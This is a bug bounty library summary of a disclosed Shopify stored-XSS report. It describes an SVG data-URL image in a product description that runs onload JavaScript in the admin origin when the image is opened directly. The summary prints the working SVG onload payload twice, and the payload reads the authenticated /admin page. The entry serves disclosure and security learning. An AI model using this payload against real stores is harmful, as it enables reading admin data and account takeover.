# Stored XSS in SVG file as data: url

Stored XSS via data:image/svg+xml URL in Shopify rich text editor; opening the image executes JS in admin context to read /admin.

- Payout: $5,300
- Severity: medium
- Program: Shopify
- Found by: irisrumtub
- Disclosed: 2023-01-31
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1276742
- Library page: https://bugbountylibrary.com/r/h1%3A1276742
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:medium tech:rest technique:source-review vuln:xss

**Target:** Shopify admin rich text editor (product/page descriptions) image src
**Root cause:** Rich text editor allowed data: URLs as image sources; SVG data URLs retain executable script when opened directly, and same-origin admin context permits authenticated XHR to /admin.
**Steps:**
1. Create a product with description containing `<img src="data:image/svg+xml;base64,<base64 SVG with onload JS>>`
2. SVG payload: `<svg onload="var req = new XMLHttpRequest(); req.open('GET', 'https://us-based-organization-h1.myshopify.com/admin', false); req.setRequestHeader('Upgrade-Insecure-Requests', '1');req.setRequestHeader('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36') ;req.send(null);var headers = req.response.toLowerCase();console.log(headers);">`
3. Open the resulting image in new tab and observe script execution in console.
4. Open the rendered image in a new tab
5. SVG onload fires, XHR to /admin returns response; headers logged to console
**How found:** Noticed rich text editors accept data: URLs as image sources; reasoned that <img> won't execute SVG script but opening the image directly would, and that same-origin context grants access to /admin.
**Exploitation:** Attacker stores SVG data URL in product description; when an admin opens the image in a new tab, the SVG's onload script runs in the myshopify.com origin and issues a synchronous XHR to /admin, reading the authenticated admin page content.
**Insight:** When a rich text editor permits data: URLs, test SVG data URLs opened directly (not inline) — the SVG document inherits the site origin, so onload JS can make authenticated same-origin requests even though inline <img> rendering is inert.

## Proof of concept (copied exactly from the original report)

**Decoded SVG onload XSS payload**

```
<svg onload="var req = new XMLHttpRequest(); req.open('GET', 'https://us-based-organization-h1.myshopify.com/admin', false); req.setRequestHeader('Upgrade-Insecure-Requests', '1');req.setRequestHeader('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36') ;req.send(null);var headers = req.response.toLowerCase();console.log(headers);" xmlns="http://www.w3.org/2000/svg"
```

